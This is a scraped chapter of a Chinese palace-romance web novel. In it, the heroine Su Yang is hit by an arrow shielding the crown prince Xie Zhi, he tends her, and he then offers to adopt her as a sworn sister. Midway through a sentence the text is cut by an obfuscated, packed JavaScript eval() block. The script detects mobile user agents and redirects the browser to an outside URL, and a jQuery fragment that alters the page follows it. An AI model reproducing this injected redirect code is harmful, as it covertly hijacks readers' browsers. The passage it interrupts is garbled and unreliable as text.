默认冷灰
24号文字
方正启体

5. 初遇(四)挡箭

作者:冻芒葡本书字数:K更新时间:
    晨雾还没散,寺庙的飞檐在雾中若隐若现,檐角铜铃被风拂得轻响。


    扫地僧的竹扫帚划过青石板,发出沙沙的声音,伴随着诵经声,回荡在庙里。


    谢执走在前,青翳在后,二人往院里走。


    埋伏良久的苏漾见距离差不多了,走出亭子,不经意地抬头。


    “谢公子,青翳兄,早上好啊”


    “不知昨日小女做的枣泥糕可合公子口味啊?”语气充满期待。


    苏漾看向谢执,指尖还下意识绞着衣角,目光刚触到他的眉眼后,又像被烫到似的飞速移开视线,眼睫扑闪,看着若是谢执说一句不好吃就要掉出泪来。


    “苏姑娘手艺极佳,枣泥糕令人口齿生香的同时,饱含枣的清甜。”


    谢执一字一字蹦出夸赞,同时紧盯着苏漾,带着几分审视,企图捕捉到一丝羞愧。


    “公子喜欢就好。”声音细若蚊呐。


    苏漾没有发觉丝毫不对劲,脸上爬上羞红,不好意思极了。


    谢执从未见过如此反应迟缓的人,那股不悦竟奇妙消失了,取而代之的是好奇和可笑。


    “苏姑娘,刚才好像有僧尼在找你,很是着急,你赶快离开吧。”谢执道。


    “嗯?”苏漾觉得奇怪。


    正想询问,空中有什么带着亮光的东西飞来。


    是箭!苏漾常年练武,听觉敏锐,马上察觉到。


    苏漾不能暴露武功,否则前功尽弃,还有弟弟在等着自己呢。


    可她也不想被箭射死啊!


    苏漾决定装作害怕的样子趁机逃跑。


    就在苏漾起步开溜时,她绊到了自己的裙边。


    在天门,为了练武方便,女的也要身着干练的骑装,最开始苏漾带上发钗,穿长裙时还很不习惯。


    没想到!


    苏漾欲哭无泪。


    苏漾往前倾倒,正好扑到了谢执身上,后肩稳稳接住了这一箭。


    “遇见谢执准没好事。”苏漾晕倒前如是想。


    幸好苏漾倒在谢执身上,避免了脸砸向地面。


    谢执看着苏漾发白的脸色,痛苦地皱在一起的眉,手臂避开后背伤口,飞快将她竖着抱起起。


    “快去请太医!”谢执指节因用力而泛白,额角青筋突突跳动,眼底阴鸷,翻涌着怒火,声音里满是戾气。


    这次偷袭在谢执意料之中,想着梦中捉鳖中,寺庙附近已被御麟军包围,蓄势待发,只待杀手现身。


    而苏漾,是他没想到的意外。


    ————


    谢执自己坐在床边 ,让苏漾横放在自己腿上,一手搂着她的腰 ,另一只手小心抬起苏漾手腕,皓腕如发光的暖玉,洁白细腻地可以看见淡青的血管。


    此刻却无力地任由谢执摆弄。


    苏漾的头侧靠在谢执颈边。


    谢执把丝线绕着手腕缠了一圈,又轻轻地放在脉枕上。


    苏漾手腕太细,像刚抽条的柳枝,只用去了一小截丝线。


    就连喷在脖颈的呼吸都那么微弱。


    谢执脑海里浮现苏漾勇敢扑向自己的画面。明明如此娇弱易折,那一刻却那么义无反顾。


    周太医坐在木椅上,上放着脉枕,隔着一层素布帘,攥紧丝线一端,另一端则指尖细细捕捉着丝线上的动静。


    “箭上没毒。”二人俱是松了一口气。


    太医离开卧房。


    剩下的就是拔箭,清创去毒了。


    谢执把苏漾交给医女。


    背过身去,走到窗边。


    衣料粘连着伤口的血痂,医女便用浸了温水的棉团一点点湿润布料,待血痂软化,才小心翼翼地将外衣从流血的肩膀处剥离,接着是里衣,露出赛雪肌肤,耸立的蝴蝶骨,和那高高肿起的伤口,看着触目惊心。


    医女用浸了酒的棉团清理伤口周围。


    “要拔了。”即使女子昏迷,医女仍低声轻柔说。


    医女一手按住苏漾另一边肩膀,另只手快准狠,“嗤”的一声,箭镞拔出。


    昏迷的苏漾感到疼痛,如被陷阱捕获受伤的小兽,发出痛苦的低呜,浑身微颤。


    谢执眉心紧皱,双手握拳,青筋盘虬在发白的指骨。


    窗外,大雨倾盆,雨水汇聚流下屋檐,形成雨帘,遮挡了谢执的视线,看不见院中场景。


    医女迅速将捣碎的艾草、黄连、黄柏等草药敷在伤口处,借草药的寒凉之性去毒消肿,最后用煮过的干净布条缠紧。


    再给苏漾换上洁净衣物。


    医女缓缓叹气,擦了擦额角的汗。


    “公子,好了,我去熬药。”医女开门走出去。


    谢执双拳骤然松开,因太过用力,手掌仍发白,没有血色。


    谢执就这样站在床边,静静望着苏漾。


    苏漾感觉到谢执的目光,别扭的不敢动,现在保持一个趴着的姿势,身体有些发麻。昏迷还好,现在醒了感觉鼻子被吐在枕头上的气拂过,温热,又有点痒。


    早就拔箭的时候,苏漾就被疼醒了,但想到自己直挺挺像风干的带鱼,后肩带着一根长长的箭,被谢执抱回来,就感觉好丢人,如此英勇的她竟那么狼狈,还被谢执看见了!


    不行,她不能白白挨这一箭。


    谢执看见苏漾身体开始左右扭动,同时发出不安的嘤咛,似在哭泣。


    谢执赶紧上前把苏漾扶起,让她和把脉时那样,横放在自己腿上,搂紧她的后腰。


    苏漾低声呜咽,眼泪像断了线的珠子,争相涌出,睫毛浸湿,几根几缕的粘在一起,鼻尖微红,不知是压的还是哭的 ,鼻翼翕翕合合,眼皮也哭得通红,微微肿起。


    抽抽噎噎,好不委屈。


    “娘,娘。”苏漾焦急喊道,双手也往前探去,像是要寻找母亲。


    谢执知道苏漾父母早逝,估计也是难受,想到了母亲。


    苏漾手在谢执身上乱摸,谢执抻手轻握住苏漾手腕,制止苏漾的行为 ,因怕用力多大,只是松松握了一圈 。


    而因乱动,悬在下颌的一滴泪甩出,落在谢执手背,谢执感到自己像被蜡油灼伤了。


    竟有一瞬恍惚。


    这时苏漾手腕一转,反握住谢执的双手。


    苏漾的手很小,指节纤细,指尖泛着淡粉,如玉般温凉。


    谢执鬼使神差没有挥开。


    谢执自身体温较高,手也是散着热气,被苏漾手一凉,更觉苏漾体弱,用另一只手包住苏漾手背,就这样暖着。


    很快苏漾的手也被烘烤的温热。


    谢执看着蜷缩在自己大手里的小手,一个绵软,淡青色血管清晰可见,一个骨节凌厉修长。


    苏漾指骨在自己的掌上轻蹭,二人指节相抵,看着亲密极了。


    “娘。”苏漾像是找到了母亲,安心喊道,手上用力,紧紧相握,怕母亲又像那天一样一去不复返。


    谢执:……


    医女进来就见原本克己复礼,背着不看的男子,此时抱着受伤女子,女子靠在男子怀里,头倚在男子脖颈,像交颈的鸟儿。


    自己进来,男子仍保持这个姿势,甚至因医女开门,怕带进下雨的凉气,把锦被向上提了提,盖住女子身子。


    医女只能装作没看见二人的亲密。


    做这一行业,知道越多越危险。


    “公子,药熬好了。”


    谢执接过,用勺盛起药汁放在苏漾嘴边,往里倾倒,苏漾清醒着,下意识张开唇缝,药液灌进,很快见底。


    见苏漾喝完了药,稍稍放下心来。


    谢执用手帕轻轻擦了一下苏漾嘴唇,擦去药渍,再把她放下,盖好被子,走了出去。


    见主子出来,青翳赶紧走近撑伞。


    “殿下,射箭的黑衣人已经抓到了,受刑后交代了是淮南王雇的杀手,可要移交大理寺交由叶公子处理?”青翳问到。


    “直接处死,尸体扔到淮南王府上去。”谢执回道,声音冷意浸骨,显然是发了怒。


    同时淮南王派人刺杀太子的消息传入京中,皇帝大怒。


    金銮殿上,一片死寂,气氛庄重又紧张。


    皇帝高坐龙椅,头戴二龙戏珠乌纱翼善冠,身着十二团龙金织盘领衮服。


    高鼻薄唇,乍一看,和谢执一模一样,只是鬓间有了些许白发。


    皇帝目光如炬,扫过太子派人递来的信,“看来是都知道朕快死了忍不下去了是吗?”


    皇帝面色憔悴但声音仍中气十足,帝王威严随着听着平稳的话语在整个大殿回荡。


    当今皇上说一不二,心狠手辣,稍微有点心思的王爷都设计给根除了,剩下个淮南王这个弟弟,没什么心思,愚笨不堪,文武不通,只知享乐,就封了个闲散王爷,下令无诏不得进京。


    可大家也都不得不佩服皇帝是个难得的惊世之才,前朝留下个满目疮痍的烂摊子,在皇帝十几年修养生息下,脱胎换骨,如今兵强马壮,万国来朝。


    早年皇帝也是南征北战,亲自出征,把周边蠢蠢欲动的小国打得纷纷投降,告诉他们新朝可不是一打仗必割地和亲的羸弱王朝。


    皇帝自是知道这个傻弟弟没这个心思和能耐,估计是被人唆使。


    他的两个好儿子可是耐不住了。


    当今皇上子嗣不丰,膝下三个皇子,大皇子靖王,二皇子礼王和太子。


    皇帝下令处死淮南王,收回封地,将他名字从族谱里除去,府上女子充入教坊司,男的流放。


    同时颁发圣旨“朕春秋已高,朝堂诸事未稳,为避免宗室纷争,确保京城安定,靖王礼王留驻封地,可□□言扰政,无朕手诏勿入京师。”


    他不允许任何人妨碍雨柔和他的孩儿接手他宵衣旰食,励精图治,打理的大好江山。


    未来世代的天下圣主也只能是他和雨柔的血脉,只能是由他自小亲自抚养,倾囊相授的执儿继承。


    若靖王礼王再痴心妄想,不知好歹,那就去死吧。


    得知父皇下令处死淮南王,谢执还觉得一刀砍死便宜他了,吩咐青翳在去牢房把他两个胳膊连着后肩斩断,再施以凌迟之刑。


    同时派人在流放路上的府上男丁全都射杀,斩草除根,省得之后再从哪个犄角旮旯冒出来个皇室血脉来清君侧。


    处理完所有事情,谢执略感疲惫,但还是想去看看苏漾如何。


    黛瓦被雨雾浸成深灰,院角的古松挂着雨珠,风吹过,水珠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688849|188859||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落在青砖上,溅起极小的水花。


    整个寺庙笼罩在雨雾朦胧中,檐角的兽首只露出半个轮廓。


    朱红门扉虚掩,雨雾从门缝钻进去,与香炉里未散的烟缠在一起。


    雨打在殿外的铜铃上,声音被雾汽裹着,没了清脆。


    谢执撑着油纸伞走在青石板路上,墨蓝色衣袍溅上雨滴,洇开个个深色小圆点。


    “公子,你没受伤吧?”


    没等话落地,淡淡茉莉香已先绕上伞骨。


    ——是苏漾。


    苏漾几乎是跌撞地钻进纸伞,靠到谢执身旁。


    “怎么不在床上躺着,外面下着大雨,本就身体虚弱,再染上风寒怎么办?”


    谢执望向苏漾苍白的唇色,发梢的水沿着脖颈顺进衣领。不满她不顾自己身体的行为。


    谢执一手撑伞,一手把自己的大氅拉下披在苏漾身上,苏漾身板比自己小的多,谢执替她拢了拢领口。


    “我担心公子是否也遇刺了,就出来了。门口也没有放雨伞,想着跑快些就好了……”


    苏漾顾不上擦去水珠,仰头盯着谢执眉眼,声音细若蚊呐,指尖攥着大氅衣角。


    见苏漾像是被训斥后的孩子,谢执语气软了软 。


    “我没事,是苏姑娘帮我挡了一箭,谢某在此谢过苏姑娘了。”


    “公子没事就好,没事就好。”苏漾重复着。


    雨滴从伞面汇聚垂落,形成雨墙,将外界的湿冷隔绝,与撑起的伞骨拢出一方狭小天地。


    谢执低头,视线恰好落在苏漾的侧脸,高挺的鼻梁上一滴水珠下滑,悬在小巧的鼻尖,发丝被雨水打湿贴在颊边。


    风一吹,发丝拂起,不偏不倚扫过自己下颌,带着些痒意,紧接着一缕清浅茉莉香便钻入鼻尖。


    雨滴簌簌落在伞面,又迅速回弹,固执地重复,震的谢执握伞的指骨都有些许发麻。


    谢执清楚感觉到自己的心跳得越来越快,似乎要蹦出胸腔。


    他应是对苏漾生出了些怜惜。


    “苏姑娘,我不久就离开寺庙归家了,为报答姑娘恩情,我决定认姑娘为义妹,不知姑娘意下如何?”


    认苏漾为妹妹,赐郡主封号,等自己登基后,就将她晋封为长公主,住进宫内暖阁,拿着千亩良田食邑赋税,过上不用为柴米油盐发愁的日子,一辈子生活在蜜罐里。


    再不用受半分苦,像如今,一届孤女,千里迢迢投奔亲戚。


    也算是报答恩情了。


    苏漾听到后要炸了,只觉喉咙发紧,眼睛干涩,舔了舔嘴唇,眼睫快速闪动,遮掩自己的情绪。


    “不用了,公子。”苏漾用力道。


    “谁要做你的妹妹,到时候不在一个府上,怎么骗取信息。我做就要做你的意中人,和你你同床共枕。”苏漾愤愤地想,心里怒吼。


    “可是伤口又疼了?”谢执注意到苏漾的低落。


    苏漾难得生出丝挫败和不知所措,没接谢执递给她的伞,也没管谢执带着关心的问候 ,冒着雨,逃避似的离开了。


    谢执望着苏漾在雨中奔跑,背影透出心碎的伤感。


    他知道苏漾异常倾慕自己,连生命都不顾,同内院那些嘴里爱自己,其实是为了家族,追求权势的女人不一样。


    可正因为此,才更不能带走她。


    谢执见过太多期盼帝王临幸,却到老也没见过帝王一面的妃嫔,在宫里唯一证明她们活着的好似就是侍寝木简上刻着的落灰的名字。


    自己对她没男女之情,忙于政事,也不会多进后宫,何必在宫墙内蹉跎人生呢?当公主比进东宫内院自由舒服多了。


    为了情爱,失去自我,依靠男人施舍似的虚无缥缈的宠爱生活,不值当。


    苏漾不适合进宫,她心性单纯,满脑子情情爱爱,又柔弱不堪,宫里的女人个个心思深沉,情爱是假,争权夺势是真,到时候她只怕会受欺负。


    谢执头一次觉得有如此棘手的事,可不他能为了对方开心而鲁莽决定,这是对对方的不负责。


    他无法回应她的感情。


    谢执只希望过了一夜,苏漾冷静下去,能改变决定。


    但闭上眼,脑海里就会浮现那双澄澈无一点杂质的眼睛,像一汪清透的泉水,一眼就能看出她的情绪,没有一点伪装。


    他从未见过如此干净的眼睛,和苏漾这个人一样。


    苏漾头也不回地跑回房间,扑到床上,像切菜一样疯狂捶枕头撒气,显然是把枕头当成了谢执。


    动作间牵扯到了伤口。


    “嘶。”苏漾终于停下捶打,抚上自己右肩,那里每天用太医开的药贴敷,早已结痂,像一朵小花的形状。


    苏漾平静下来。


    苏漾很是惜命,因为她知道苏禾每日被限制外出的苦闷与压抑,尽管他每次在见她后都说自己过得很好,她从不是一个人。


    可能是老天知道她对自由的渴望,出任务多次命悬一线,她总能活下来。


    这次她也一定会成功。


    谢执马上就要走了,她必须要想个一举拿下的绝招了。


    沉思一会儿,心里有了主意,她就不信谢执能看着自己快死,而不救她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)